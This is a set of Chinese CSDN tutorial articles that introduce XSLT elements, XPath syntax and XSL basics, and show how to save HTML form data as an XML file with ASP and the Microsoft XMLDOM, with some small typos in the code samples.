我们打个有趣的比方，你玩过橡皮泥吧，用不同的模子按上去，就可以做出需要的形状。如果我们假设XML数据文档是一块大橡皮泥，XSLT就象是一个模子，用力一按，就做出需要的形状来---符合不同需要的HTML文档。

具体看下面的过程示意图:

我们将XML原文档输入，用XSL作为模板，通过转换引擎，最终输出需要的HTML文档。其中的转换引擎就是比喻中"用力一按"的过程。在具体应用中，有专门的软件来实现这个转换过程，名为XML Processor。目前已经有很多 Processor 软件(下面将详细提到)，在IE5.5中也已经内嵌了XML Processor。
2.2 一个实例

现在我们来看一个简单的XSLT实际应用例子，获得一些感官上的认识。很多网页设计师看到类似HTML的代码才会放心，代码是那样的亲切和熟悉。

例子1: "Hello, world!"
hello world作为第一个教程已经是程序语言中的惯例了。我们也遵守这个惯例，看看如何利用XSLT来显示"hello world"。虽然这个例子没有什么实际用途，但是请大家不要急，后面还有更详细的例子。
第一步：建立要输入XML文档hello.xml。

<?xml version="1.0" encoding="iso-8859-1"?>
<greeting>Hello, world!</greeting>

这是一个很简单XML文档，只包含一个节点的XML结构树。
第二步：建立XSLT文档hello.xsl。提示：默认的XSLT文件的后缀名为.xsl。

<?xml version="1.0" encoding="iso-8859-1"?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl">
<xsl:template match="/">
<html>
<head>
<title>First XSLT example</title>
</head>
<body>
<p><xsl:value-of select="greeting"/></p>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

你现在可以用IE5.0以上版本浏览器打开这个hello.xsl文件，看到XSL的结构树。
第三步：在XML中调用这个XSL文件。修改hello.xml的代码为：

<?xml version="1.0" encoding="iso-8859-1"?>
<?xml-stylesheet type="text/xsl" href="hello.xsl"?>
<greeting>Hello, world!</greeting>

ok,到这一步原理上已经完成了所有的代码，接下来只要用一个XSLT的处理器(XML Processor)来执行hello.xml就可以看到"hello world"的显示结果了。流行的处理器软件有以下几种：
(1).James Clark的XT。下载网址：http://www.jclark.com/xml/xt.html
(2).IBM的XML for Java软件包，名为LotusXSL。下载网址：www.alphaworks.ibm.com/tech/xml4j
(3).Saxon。下载网址：http://www.wrox.com
(4).微软的MSXML3。下载网址：http://www.microsoft.com/xml

有网友要问，我想在浏览器中看到"hello world"的效果应该怎么做？在微软的IE5.5内嵌了MSXML3解释器，你可以用IE5.5打开hello.xml文件，就可以看到结果。如果只看到XML结构树，不是单独的"hello world"字样，说明你的浏览器没有安装MSXML3版本。
如果没有安装又想看效果怎么办？那还是用我们在XML教程中的老办法，采用JS实现。(这已经超出了本文要讲的范围，但为了更加直观，便于理解，我们在这里提供实例代码。)下面是一种实现的代码，可以保存为hello.htm，和上面的hello.xml，hello.xsl放在同一目录下面。最后用IE5.0以上版本打开hello.htm就可以看到效果了。

<html>
<head>
<script language="JavaScript" for="window" event="onload">
var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
xmlDoc.async="false";
xmlDoc.load("hello.xml");
nodes = xmlDoc.documentElement.childNodes;
greeting.innerText = nodes.item(0).text;
</script>
<title>First XSLT Example</title>
</head>
<body bgcolor="#FFFFFF">
<span id="greeting"></span><br>
</body>
</html>

2.3 过程解析

如果你成功的看到效果，你也许想知道这些代码的具体含义，我们来详细解说：看hello.xsl文件

<?xml version="1.0" encoding="iso-8859-1"?>

这是标准的XML文档的首行代码，因为XSLT本身也是XML文档。encoding属性用来定义文档使用的编码形式，iso-8859-1主要支持西欧和北美的语言编码。如果你想使用简体中文，那么就应该写成：

<?xml version="1.0" encoding="GB2312"?>

接下去的代码是:

<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
version="1.0">

这是标准的XSLT文件首行代码。xsl:stylesheet代码的意思是将文档作为一个样式表来(stylesheet)处理。xmlns:xsl属性是一个名字空间声明，和XML中的名字空间使用方法一样，用来防止元素名称重复和混乱。其中前缀xsl的意思是文档中使用的元素遵守W3C的XSLT规范。最后的version属性说明样式表只采用XSLT 1.0的标准功能，这也是目前仅有的标准。

<xsl:template match="/">

一个<xsl:template>元素定义一个模板规则。属性match="/"说明XML源文档中，这个模板规则作用的起点。"/"是一种XPath语法，我们在后面将详细讲述，这里的"/"代表XML结构树的根(root)。

接下去的代码是:

<html>
<head>
<title>First XSLT Example</title>
</head>
<body>
<p><xsl:value-of select="greeting"/></p>
</body>
</html>

说明：当模板规则被触发，模板的内容就会控制输出的结果。例子中，模板大部分内容由HTML元素和文本构成。只有<xsl:value-of>元素是XSLT语法，这里<xsl:value-of>的作用是拷贝原文档中的一个节点的值到输出文档。而select属性则详细指定要处理的节点名称。这是XPath语法，"greeting"的意思就是寻找根节点名为greeting的元素，并用模板来处理这个节点。具体的就是找到<greeting>元素，然后将元素的值"hello world"按模板样式拷贝到输出文件。
提示：由于XML文档是严格的层级结构(用IE5查看XML文件，会看见XML文档类似多级关联菜单)，所以我们形象的称XML文档为文档树，其中每一对元素称作树的一个节点。根元素就是根节点。

最后关闭所有元素：

</xsl:template>
</xsl:stylesheet>

好，例子解说完毕。你是否想过为什么要用这么复杂的方法来显示"hello world"呢？
关键不在表面，而在于实质：用这种方法，hello world可以从XML文档中被提取出来，并用各种不同的XSLT模板处理，来输出不同需求的文档。我们来看看XSLT的主要用途：

2.4 XSLT的用途

XSLT的主要用途就是数据转换应用。
由于以XML为基础的电子商务广泛普及，XSLT作为数据转换的角色也越来越重要。例如直接将电视新闻的数据格式转换成报纸新闻需要的数据格式；将股票数据直接转换成图片显示在网页上；对EDI(电子数据交换)数据进行统计，排序等等。
XSLT是处理类似工作的理想工具。


csdn_XSLT轻松入门第三章：XSLT的元素语法

  XSLT轻松入门第三章：XSLT的元素语法
作者： 阿捷
通过前面两章的介绍，我们已经对XSLT的基本概念和它的转换过程有了一些了解。下面我们一起来学习XSLT的具体语法。说到语法总是比较枯燥的，您可以大体上浏览一遍，等您真正需要使用XSLT的时候，再仔细研究它们。

3.XSLT的元素语法

3.1 xsl:template和xsl:apply-templates

3.2 xsl:value-of

3.3 xsl:for-each

3.4 xsl:if

3.5 Xxsl:choose, when, otherwise

3.6 xsl:sort

3.1 xsl:template和xsl:apply-templates

模板(template)是XSLT中最重要的概念之一。XSLT文件就是由一个一个的模板组成，任何一个XSLT文件至少包含一个模板。模板的概念就象是搭积木；你如果是程序员，也可以将模板看作一个方法，一个类，或者一个模块。它们可以被拼装组合，也可以单独成块，不同的模板控制不同的输出格式。
模板(template)由两部分组成：匹配模式(match pattern)和执行。简单的讲模式定义XML源文档中哪一个节点将被模板处理，执行则定义输出的是什么格式。两部分对应的语法为xsl:template和xsl:apply-templates。

xsl:template的语法是：

<xsl:template
match = pattern
name = qname
priority = number
mode = qname>
<!-- 执行内容 -->
</xsl:template>

xsl:template的作用是定义一个新模板。属性中name,priority,和mode用来区别匹配同一节点的不同模板。它们不是常用的属性。match属性则控制模板的匹配模式(pattern)，匹配模式是用来定位XML源文档中哪一个节点被模板处理。一个模板匹配一个节点。我们用一个例子来帮助理解：
假设我们要处理一个包含章节和段落文档。我们用para元素定义段落，用chapter元素定义章节。我们来看看match属性可能的值。下面的语句写法说明模板匹配所有的para元素

<xsl:template match="para">
</xsl:template>

下面的语句写法说明模板匹配所有的para元素和所有的chapter元素：

<xsl:template match="(chapter|para)">
</xsl:template>

下面的语句写法说明模板匹配所有的父节点为chapter元素的para元素：

<xsl:template match="chapter//para">
</xsl:template>

下面的语句写法说明模板匹配根节点:

<xsl:template match="/">
</xsl:template>

我们再来看apply-templates语法：

<xsl:apply-templates
select = node set-expression
mode = qname>
</xsl:apply-templates>

xsl:apply-templates用来执行那一个节点被模板具体处理。你可以将它理解为程序中调用子函数。select属性用来定义确切的节点名称。xsl:apply-templates总是包含在xsl:template元素中，象这样：

<xsl:template match="/">
<xsl:apply-templates select="para"/>
</xsl:template>

这段代码说明摸板匹配整个文档(根节点)，具体执行时处理根节点下所有para元素。

<xsl:template match="para">
<p><xsl:apply-templates/></p>
</xsl:template>

而这一段代码则表示摸板匹配para节点，所有para下的子元素都将被处理。

3.2 xsl:value-of

XSL:value-of用来将源文档中元素的文本值写到输出文档中。例如：
有一个个人资料的XML文档：

<?xml version="1.0" encoding="iso-8859-1"?>
<PERSON>
<name>ajie</name>
<age>28</age>
</PERSON>

我如果想在输出文档中显示上面这个XML源文档中的name元素的值，可以这样写XSLT代码：

<xsl:template match="PERSON">
<xsl:value-of select="name"/>
</xsl:template>

执行后，你会看到"ajie"被单独显示出来。其中match="PERSON"定义摸板匹配PERSON节点，xsl:value-of 语法说明需要输出一个节点的值，而select="name"则定义需要被输出的元素为name。看这个过程是不是和数据库里查询一个人的名字很象？当然，xsl:value-of查询还有更多，更复杂的语法，因为是涉及寻找和定位的功能，我们会放在后面的XPath语法中在仔细讲解。
同样功能的还有xsl:copy-of，用法一样，就不重复解释了。

3.3 xsl:for-each

xsl:for-each语法允许你循环处理被选择的节点。例如：有一个含多个个人资料的XML文档：

<?xml version="1.0" encoding="iso-8859-1"?>
<PEOPLE>
<PERSON>
<name>ajie</name>
<age>28</age>
</PERSON>
<PERSON>
<name>tom</name>
<age>24</age>
</PERSON>
<PERSON>
<name>miake</name>
<age>30</age>
</PERSON>
</PEOPLE>

我需要显示所有人的姓名，则可以将XSLT代码写成：

<xsl:template match="PEOPLE">
<xsl:for-each select="child::PERSON">
<xsl:value-of select="name"/>
</ xsl:for-each>
</xsl:template>

3.4 xsl:if

xsl:if类似普通程序语言的if条件语句，允许设定节点满足某个条件时，被模板处理。xsl:if的语法格式为：

<xsl:if test=布尔表达式>
template body
</xsl:if>

例如：

<xsl:template match="PEOPLE">
<xsl:if test="@name">
<p><xsl:value-of select="@name"/></p>
</xsl:if>
</xsl:template>

这段代码的意思是检测PEOPLE节点下所有的元素，如果发现有<name>元素，则将<name>元素的值输出。其中@符号是统配符，表示节点下所有的元素。

3.5 xsl:choose, xsl:when 和 xsl:otherwise

xsl:if语法没有else的属性。如果我们要进行多项选择，那么就要使用xsl:choose / xsl:when / xsl:otherwise系列流程控制语法了。具体的使用请看下面的XSL文件例子：

<xsl:template match="PEOPLE">
<xsl:choose>
<xsl:when test="@name = 'ajie'">
<B><xsl:value-of select="@name"/></B>
</xsl:when>
<xsl:when test="@name">
<I><xsl:value-of select="@name"/></I>
</xsl:when>
<xsl:otherwise>
No name available
</xsl:otherwise>
<xsl:choose>
</xsl:template>

说明：首先在PEOPLE节点下寻找<name>属性值为ajie的元素，如果找到，将ajie用粗体输出；如果没有发现值为ajie的<name>元素，则将所有的<name>元素的值都用斜体输出；如果没有发现任何<name>元素，则显示"No name available"。

3.6 xsl:sort

在XSLT中可以对XML源文档的元素进行重新排序，排序的语法就是xsl:sort。举例：下面的代码就是将文档元素按name排序。

<xsl:template match="PEOPLE">
<xsl:apply-templates select="PERSON">
<xsl:sort select="@name"/>
</xsl:apply-templates>
</xsl:template>

以上是XSLT的元素的主要语法，还有很多其他的语法，例如：import, include, element, attribute, number, param等等语法，在这里就不一一解释。我们的目的是让您对XSLT的语法有基本的概念，理解XSLT作为一种转换语言的强大功能。


csdn_XSLT轻松入门第四章：XPath的语法

  XSLT轻松入门第四章：XPath的语法
作者： 阿捷
4.XPath的语法

我们在前面已经提到过，XPath是用来帮助XSLT在XML源文档中查找定位信息的语言。在实际使用过程中，XPath和XSLT总是混在一起使用，在上面一章的语法例子中我们已经有使用到XPath的语法，只是没有明确点出。但W3C将它们分成两个标准，所以我们也将它们拆成两章来讲解。

4.XPath的语法

4.1 当前位置

4.2 寻址操作

4.3 运算符

4.4 功能函数

4.1 当前位置

当我们使用XSLT处理XML源文档是，我们用Context来表示当前正在被模板处理的节点位置。比如xsl:template match="/"语句中表示Context在文档的根(root)节点。我不知道如何准确的翻译Context这个词，它类似于C语言里的指针，表示程序当前运行的位置。理解Context对于正确处理XSL模板非常重要，当您的XSL模板输出的文档和您想要的不一样，最先应该分析的就是Context在哪里。
Location Paths是用于设定你想要寻找的Context节点位置。就类似DOS的目录命令。我们看个例子

<xsl:for-each select="child::PEOPLE/descendant::PERSON">

其中child::PEOPLE/descendant::PERSON就是XPath语法，这个表达式就是一个Location Paths，代码说明要显示所有PEOPLE元素的子元素和所有PERSON元素的子元素。通常我们会采用更简单的写法：

<xsl:for-each select="PEOPLE//PERSON">

我们来解释path的两种表示方法："/"和"//"。
"/"是表示当前文档的节点,类似DOS目录分割符。例如：/PEOPLE表示选择根节点下的PEOPLE元素；PEOPLE/PERSON表示选择PEOPLE元素下所有的PESON子元素。
"//"则表示当前文档所有的节点。类似查看整个目录。例如：//PEOPLE表示选择文档中所有的PEOPLE元素，无论它在什么层次；PEOPLE//PERSON表示在PEOPLE元素下所有的PERSON元素，无论它的层次多深。

4.2 寻址操作

Axis和Predicate是XPath语法中对Location Paths进行定位操作的语法，具体的用法列表如下

Axis语法表
--------------------------------------------------------
表达式 简写 说明
--------------------------------------------------------
self . 选择当前的节点.。
例子 :
<TD><xsl:value-of select="."/></TD>
代码表示在当前位置插入当前的节点包含的文本(text)值，
--------------------------------------------------------
parent .. 选择当前节点的父节点。
--------------------------------------------------------
attribute @ 选择一个元素的所有属性。
例子:
<TD><xsl:value-of select="@PERSONID"/></TD>
选择PERSON元素的所有属性.
--------------------------------------------------------
child 选择当前节点的所有子元素。
--------------------------------------------------------
ancestor 选择当前节点的所有父元素(包括父元素的父元素，类推)
--------------------------------------------------------

Axis帮助我们选择当前节点周围所有的节点，而Predicate则用来定位当前节点内部的元素。表示方法为方括号[]中加表达式：[ Expression ]。具体举例如下:

PERSON[position()=2]
这句代码表示寻找第二个"PERSON" 元素

PERSON[starts-with(name, "B")]
这句代码表示寻找所有名称以"B"开头的PERSON元素。

4.3 运算符

这一节介绍XPath的运算符(Expressions)，列表如下：
--------------------------------------------------------
运算符 说明
--------------------------------------------------------
and, or 就是普通意义的and, or
--------------------------------------------------------
= 等于
--------------------------------------------------------
!= 不等于
--------------------------------------------------------
>, >= 大于，大于等于
--------------------------------------------------------
<, <= 小于，小于等于。注意：在XSL文件中，<符号要用< 表示
--------------------------------------------------------
+, -, *, div 加减乘除
--------------------------------------------------------
mod 取模
--------------------------------------------------------
| 两个节点一起计算
--------------------------------------------------------

4.4 功能函数(Functions)

在XPath里有很多功能函数可以帮助我们精确寻找需要的节点。

count()功能
作用：统计计数，返回符合条件的节点的个数。
举例：<p><xsl:value-of select="count(PERSON[name=tom])"/></p>
说明：代码的用途是显示PERSON元素中姓名属性值为tom有几个。

number()功能
作用：将属性的值中的文本转换为数值。
举例：<p>The number is: <xsl:value-of select="number(book/price)"/></p>
说明：代码的用途是显示书的价格。

substring() 功能
语法：substring(value, start, length)
作用：截取字符串。
举例：<p><xsl:value-of select="substring(name, 1, 3)"/></p>
说明：代码的用途是截取name元素的值，从第一个字母开始显示到第三个。

sum()功能
作用：求和。
举例：<p>Total Price = <xsl:value-of select="sum(//price)"/></p>
说明：代码的用途是计算所有价格的和。

上面这些功能只是XPath语法中的一部分，还有大量的功能函数没有介绍，而且目前XPath的语法仍然在不断发展中。通过这些函数我们可以实现更加复杂的查询和操作。

看到这里，我们的入门教程就快结束了。通过走马观花式的快速学习，希望大家对XSLT应该有了一点基本概念：XSLT是一种转换XML文档的语言，它包含两个过程：转换和格式化。XSLT的功能比CSS强大得多，它有类似数据查询的语法。如果您对XSLT感兴趣，那么以上的知识是远远不够的，需要查询更多的资料。阿捷在最后一章附录为大家提供了主要的XSLT资源。


csdn_XSL语法介绍

  XSL语法介绍
作者： 胡朝晖
    例子已经放在上面，下面我们可以来仔细的分析其中的语法结果和关键所在：

    首先注意到的是，XSL文件本身即是一份 XML文件，所以在XSL文件的开头，一样有和XML文件相同的声明。W3C这个XML的标准机构为XSL定义了很多标记（元素），XSL文件就是这些标记和HTML标记的组合。在XSL文件中，必须有如下一行的代码：

    ＜xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl"＞

    这里，xsl:stylesheet是XSL文件的根元素，在根元素中包含了所有的排版样式，样式表就是由这些排版样式组合成的；xmlns:xsl="http://www.w3.org/TR/WD-xsl"这一句主要用来说明该XSL样式表是使用W3C所制定的XSL，设定值就是XSL规范所在的URL地址。

    实际上，这里"http://www.w3.org/TR/WD-xsl"就是一个名字空间（namespace），我们在上面关于XML Schema语法介绍的时候已经进行过介绍。这是一个标准的名字空间。"stylesheet"，"template"，"for-each"等等关键字都是这个名字空间所定义的。

    当然在xsl:stylesheet还可以设定其他的属性，其他的属性有：

      1． default-space：决定是否保留XML文件中的空白，仅当值为"default"时保留。

      2． indent-result：决定是否保留XSL文件中的空白，值为"yes"时保留。

      3． language：设定在XSL文件中使用的脚本语言。

    然后，我们在上面的代码中看到有如下的代码：

    ＜xsl:template match="/"＞
       ………
    ＜/xsl:template＞

    这里实际上是表示了XSL解析器对XML文档的处理过程，它从根节点（由match="/"决定，这里"/"就表示根节点）开始，对XML文档进行遍历，并根据具体的代码从XML文档中取出相关的内容。这里关于属性match的取值是一个比较复杂的问题。它实际上表示的含义是从XML文档中取出一个特定的节点集合（XML文档可以被看成一个树的结构，这个在后面关于XML解析器分析中有详细的介绍）。这里，我们通过几个简单的例子来说明属性match的取值。

    比如下面一行代码：

    ＜xsl:template match="/"＞

    这行代码的意思是告诉XSL解析程序，当前需要处理的节点是根节点下的内容（用"/"来表示根节点），其实这里的match值内容的编写是要符合XPath的语意。关于XPath我们在后面的章节中会进行详细的介绍。

    再举一个例子：

    ＜xsl:template match="shoppingcart/item"＞

    这行代码要匹配的是shoppingcart元素下的item元素。而不管shoppingcart在XML文档结构树下的哪一个位置。比如XML文档的其中一段是这样的。

    ＜shoppingcart＞
    ＜item＞
    ＜itemNo＞3333＜/itemNo＞
    ＜itemName＞屠龙刀＜/itemName＞
    ＜/item＞
    ＜item＞
    ＜itemNo＞4444＜/itemNo＞
    ＜itemName＞离别钩＜/itemName＞
    ＜/item＞
    ＜/shoppingcart＞

    那么它匹配的内容就是
      ＜item＞
      ＜itemNo＞3333＜/itemNo＞
      ＜itemName＞屠龙刀＜/itemName＞
      ＜/item＞
      ＜item＞
      ＜itemNo＞4444＜/itemNo＞
      ＜itemName＞离别钩＜/itemName＞
      ＜/item＞

    而下面这个例子：

    ＜xsl:template match="/shoppingcart/item"＞

表示只匹配XML文档根节点下的shoppingcart这个节点下的所有item元素。也就是说如果shoppingcart不是直接在根节点下的，它就不符合这个匹配条件。

    再看一个例子：

    ＜xsl:template match="price[@unit='USD']"＞

这个例子说明要匹配的是这样的节点：一个带unit属性的元素price，而且unit的值必须为"USD"。比如一段XML代码是这样的。

    ＜price＞
      ＜unit＞USD＜/unit＞
      ＜amount＞100＜/amount＞
    ＜/price＞
    ＜price＞
      ＜unit＞RMB＜/unit＞
      ＜amount＞300＜/amount＞
    ＜/price＞

    那么它匹配的内容就是：

    ＜price＞
      ＜unit＞USD＜/unit＞
      ＜amount＞100＜/amount＞
    ＜/price＞

    实际上，存在许多各种符号用来表示匹配规则，我们在XPath语法介绍中会详细涉及到。现在知道这么一个大概的概念就可以了。

    我们用＜xsl:template match="具体匹配表达式"＞这条语句找到了一些节点集合以后，我们就要从这个集合中找到特定的元素或者元素属性的值，那么采用什么语句呢？就是用xsl:value-of select = ""这样的语句来寻找特定的内容。

    比如下面的例子中＜xsl:value-of select="名称"/＞这行代码就是表示定位XML文档中的名称元素的内容。在指定集合中可能存在多个名字元素，如果我们需要把它们一一列举出来进行处理的话，就需要用到语句xsl:for-each select = ""，注意这里涉及到一个作用范围的概念，也就是说xsl:for-each select = ""这条语句是在一个指定的集合空间中执行的。比如上面例子中如下的代码

    这里的＜xsl:for-each select="词语"＞是在＜xsl:template match="网络用语集合"＞所指定的集合空间里面寻找元素"词语"的。

    同时，我们需要注意的是上面的代码中，出现了一条语句

      ＜xsl:apply-templates select="网络用语集合" /＞

    它表示什么意思呢，它实际上相当于C++中的一个过程调用，当XSL解析器执行到该语句的时候，它就会在代码中寻找以＜?xml:namespace prefix = xsl /＞＜xsl:template match="网络用语集合"＞开头的代码，所以在上面的例子程序中，以下的代码可以看成是过程的实现。

    把看成是一个过程调用，把＜xsl:template match="网络用语集合"＞

    …….
    ＜/xsl:template＞

    看成是过程的实现，有助于我们对XSL解析器执行过程的理解。这里match="网络用语集合"可以理解为是传递给过程的参数，它表示过程实现体的集合范围是该match所匹配的节点集合空间（"网络用语集合"）。

    如果我们要对表格中的元素进行排序该什么办呢？比如说，在上面的例子中，我们需要按照名称进行排序。很简单对，改写为如下的形式即可：

    ＜xsl:for-each select="词语" order-by="+名称"＞，其中"+"表示按降序排列；"-"表示按升序排列。"order-by"是XSL语法中的关键字。

    如果我们只想在列表中取出某几行该怎么操作呢？比如我们只想取出名称为"恐龙"的行，见下面的代码：

    这里有一个新的句法为：＜xsl:template match="网络用语集合"＞
    ＜table Border="1"＞
      ＜xsl:for-each select="词语" order-by="-名称"＞
      ＜xsl:if test=".[名称='恐龙']"＞
      ＜tr＞
        ＜td＞＜xsl:value-of select="名称"/＞＜/td＞
        ＜td＞＜xsl:value-of select="含义"/＞＜/td＞
      ＜/xsl:if＞
      ＜/xsl:for-each＞
    ＜/table＞
    ＜/xsl:template＞

    它表示如果".[名称='恐龙']"为真（TRUE）的话，就执行该段里面的语句，要是为假（FALSE）的话就不执行。它和C++中的if语句的概念基本是一样的。

    前面我们用＜xsl:value-of select=""/＞取出的都是一个元素的值，但是我们要取出元素某一个属性的值该怎么做呢？采用下面的形式：

    ＜xsl:value-of select="元素名称/@属性名称"/＞

    比如一段XML代码是这样的：

    ＜王朔 网址="www.wangshuo.com"＞知名作家加著名评论家王朔先生的地方＜/王朔＞

    我们可以用＜xsl:value-of select="王朔/@网址"/＞来得到值"www.wangshuo.com"。

    以上包括了XSL的大多数基本的语法，更加详细和完整的介绍需要参看W3C相关的最新的文档，可以在WWW.W3C.ORG/TR下找到。

    根据上面的分析，我们可以看到XSL实际上采用的是一种转换的思想，它最终将XML文档转换为另一种可用于输出的文档，而CSS则没有任何转换动作，在整个过程中没有任何新码产生。 另外，在XSL中90%的样式规定在CSS中都有定义，但仍然有一些效果是CSS无法描述的，必须使用XSL不可。这些功能包括文本的置换、根据文本内容决定显示方式、文档内容排序等，都是XSL所独有的。再者，XSL遵从XML的语法，而CSS的语法自成体系。

    选择样式单还要考虑不同浏览器对样式单的支持程度。目前IE5与Netscape的最新版本都支持CSS，但支持的程度都有限。至今为止，IE5尚不能完全支持CSS1，即便是支持的部分也存在很多错误，对于CSS2也只提供部分支持。Netscape在对CSS的支持上已经优于IE5，它采用新一代的Raptor/Gecko引擎技术，已经能够完全支持CSS1，但对CSS2的支持计划尚不明朗。而对XSLT而言，只有IE5支持，Netscape5并不支持。


csdn_将HTML表单数据存储为XML格式(1)

  将HTML表单数据存储为XML格式(1)
作者： crystal译
XML和HTML4。0，请读下列示例

将表单数据存为XML格式

    通常的，ASP中表单提交的数据一般被写入数据库。然而，如果你想让发送数据更为简便易行，那么，可以将它书写为XML文件格式。这种方式对于在web上收集的数据更为有用。因为XML对于所用平台来说非常的简便，所以用不着转换数据格式。

    将提交的数据写为XML文档，则需要通过Microsoft XMLDOM Object创建一个新的XML文档。Microsoft XMLDOM Object拥有一个可扩展对象库，通过它可以创建elements，attributes以及values，通过创建的这些项目则可以组成XML文档。我无法将整个目标模型做个完整的介绍，因为它所包含的内容太广泛，对于将建成的网站来说，目标模型甚至通过自身也能组建一个相对完整的部份。

    在XMLDOM Object被创建出来之后，通过创建目标（此目标是关于组成XML文档中每一层的ELEMENTS而言）XML的结构会被演示出来。接下来，会举例说明XMLDOM是怎样被创建出来的。创建root element之后，将它附加在XMLDOM文件上。然后创建child elements并附加在root element上，最后存储文档。

演示Microsoft XMLDOM 对象

<%

Dim objDom
Dim objRoot
Dim objChild1
Dim objChild2
Dim objPI

" XMLDOM 对象使用Server对象的CreateObject方法创建
Set objDom = Server.CreateObject("Microsoft.XMLDOM")
"使用XMLDOM的createElemnet方法创建一个IXMLDOMElement对象。
"createElemnet方法又一个string参数，这个string 表示该element的名称。
返回值被传递到objRoot变量。objRoot表示XML文档的根元素.。

Set objRoot = objDom.createElement("rootElement")

"Use the appendChild Method of the XMLDOM Object to add the objRoot
"Element Reference to the XML Document.

objDom.appendChild objRoot

"Now, following the same steps, you will create references to the
"child elements for the XML Document. The only difference is, when the
"child elements are appended to the document, you will call the
"appendChild Method of the IXMLDOMElement Object rather than the
"appendChild Method of the XMLDOM Object. By using the IXMLDOMElement
"to append the chi en, you are differentiating (and applying tiered
"structure to) the child elements from the root element.

Set objChild1 = objDom.createElement("childElement1")
objRoot.appendChild objChild1
Set objChild1 = objDom.createElement("childElement2")
objRoot.appendChild objChild2

"The final step to take care of before saving this document is to add
"an XML processing instruction. This is necessary so that XML parsers
"will recognize this document as an XML document.

Set objPI = objDom.createProcessingInstruction("xml","vertsion="1.0"")

"Call the insertBefore Method of the XMLDOM Object in order to insert
"the processing instruction before the root element (the zero element
"in the XMLDOM childNodes Collection).

objDom.insertBefore objPI, objDom.childNodes(0)

"Calling the Save Method of the XMLDOM Object will save this XML
"document to your disk drive. In this case, the document will be saved
"to the "c:" drive and will be named "MyXMLDoc.xml". When saving an
"XML document, if the file does not exist, it will be created. If it
"does exist, it will be overwritten.

objDom.Save "c:\MyXMLDoc.xml"

%>


csdn_将HTML表单数据存储为XML格式(2)

  将HTML表单数据存储为XML格式(2)
作者： crystal译
文档被存档之后，如果你再打开这个文档，那么则会以如下代码列表形式出现：

MyXMLDoc.xml:

<?xml version="1.0"?>
<rootElement>
<childElement1 />
<childElement2 />
</rootElement>

    在"MyXMLDoc.xml"文档中，childElement1 和 childElement2 会以空的elements形式出现。如果它们被赋值，那么每个值都将由标记符括起来。

    现在，让我们来思考一下如何将HTML数据写到XML文档中去。我们已经知道该如何创建和存储XML文档。将一个表单数据写到XML文档中去的过程，现在已演变成为Request Object"s Form Collection以及将每一个表单域的value书定到XML element value 中去的步骤重复。以上可以通过ASP来完成。

例：将数据输送到XML

    现在，我们举一个普通的HTML表单的例子来说明。此Form有用户名，地址，电话，以及E-MAIL等几个域。并将这些信息写入XML文件中并保存。

EnterContact.html:
<html>
<head>
<title>
Contact Information
</title>
</head>
<body>
<form action="processForm.asp" method="post">

<h3>请输入你的联系方式</h3>
First Name: <input type="text" id="firstName" name="firstName"><br>
Last Name: <input type="text" id="lastName" name="lastName"><br>
Address #1: <input type="text" id="address1" name="address1"><br>
Address #2: <input type="text" id="address2" name="address2"><br>
Phone Number: <input type="text" id="phone" name="phone"><br>
E-Mail: <input type="text" id="email" name="email"><br>
<input type="submit" id="btnSub" name="btnSub" value="Submit"><br>
</form>
</body>
</html>

    将Form 中数据发送到processForm.asp.。这是一个ASP页面，在这个ASP中将反复调用同一个函数将form数据写入XML文件。

processForm.asp:

<%
"--------------------------------------------------------------------
"The "ConvertFormtoXML" Function accepts to parameters.
"strXMLFilePath - The physical path where the XML file will be saved.
"strFileName - The name of the XML file that will be saved.
"--------------------------------------------------------------------

Function ConvertFormtoXML(strXMLFilePath, strFileName)

"Declare local variables.

Dim objDom
Dim objRoot
Dim objField
Dim objFieldValue
Dim objattID
Dim objattTabOrder
Dim objPI
Dim x

"Instantiate the Microsoft XMLDOM.

Set objDom = server.CreateObject("Microsoft.XMLDOM")

objDom.preserveWhiteSpace = True

"Create your root element and append it to the XML document.

Set objRoot = objDom.createElement("contact")
objDom.appendChild objRoot

"Iterate through the Form Collection of the Request Object.

For x = 1 To Request.Form.Count

"Check to see if "btn" is in the name of the form element.
"If it is, then it is a button and we do not want to add it
"to the XML document.

If instr(1,Request.Form.Key(x),"btn") = 0 Then

"Create an element, "field".

Set objField = objDom.createElement("field")

"Create an attribute, "id".

Set objattID = objDom.createAttribute("id")

"Set the value of the id attribute equal the the name of

"the current form field.

objattID.Text = Request.Form.Key(x)

"The setAttributeNode method will append the id attribute
"to the field element.

objField.setAttributeNode objattID

"Create another attribute, "taborder". This just orders the
"elements.

Set objattTabOrder = objDom.createAttribute("taborder")

"Set the value of the taborder attribute.

objattTabOrder.Text = x

"Append the taborder attribute to the field element.

objField.setAttributeNode objattTabOrder

"Create a new element, "field_value".

Set objFieldValue = objDom.createElement("field_value")

"Set the value of the field_value element equal to
"the value of the current field in the Form Collection.

objFieldValue.Text = Request.Form(x)

"Append the field element as a child of the root element.

objRoot.appendChild objField

"Append the field_value element as a child of the field elemnt.

objField.appendChild objFieldValue
End If
Next

"Create the xml processing instruction.

Set objPI = objDom.createProcessingInstruction("xml", "version="1.0"")

"Append the processing instruction to the XML document.

objDom.insertBefore objPI, objDom.childNodes(0)

"Save the XML document.

objDom.save strXMLFilePath & "\" & strFileName

"Release all of your object references.

Set objDom = Nothing
Set objRoot = Nothing
Set objField = Nothing
Set objFieldValue = Nothing
Set objattID = Nothing
Set objattTabOrder = Nothing
Set objPI = Nothing
End Function

"Do not break on an error.

On Error Resume Next

"Call the ConvertFormtoXML function, passing in the physical path to
"save the file to and the name that you wish to use for the file.

ConvertFormtoXML "c:","Contact.xml"

"Test to see if an error occurred, if so, let the user know.
"Otherwise, tell the user that the operation was successful.

If err.number <> 0 then
Response.write("Errors occurred while saving your form submission.")
Else
Response.write("Your form submission has been saved.")
End If
%>


csdn_将HTML表单数据存储为XML格式(3)

  将HTML表单数据存储为XML格式(3)
作者： crystal译
如果你是在你自己的应用程序中使用以上代码，请谨记一件事情，在"ConvertFormtoXML"函数已经运行的情况下，如果XML文件名已经存在，那么，文件将会被覆盖。在此，我建议在使用"ConvertFormtoXML"功能前，最好用随机建立的文件名。这样，就将有价值数据被改写的风险降为零。

    关于XML文件的产生，举例如下：

Contact.xml

<?xml version="1.0" ?>
<contact>
<field id="firstName" taborder="1">
<field_value>Michael</field_value>
</field>
<field id="lastName" taborder="2">
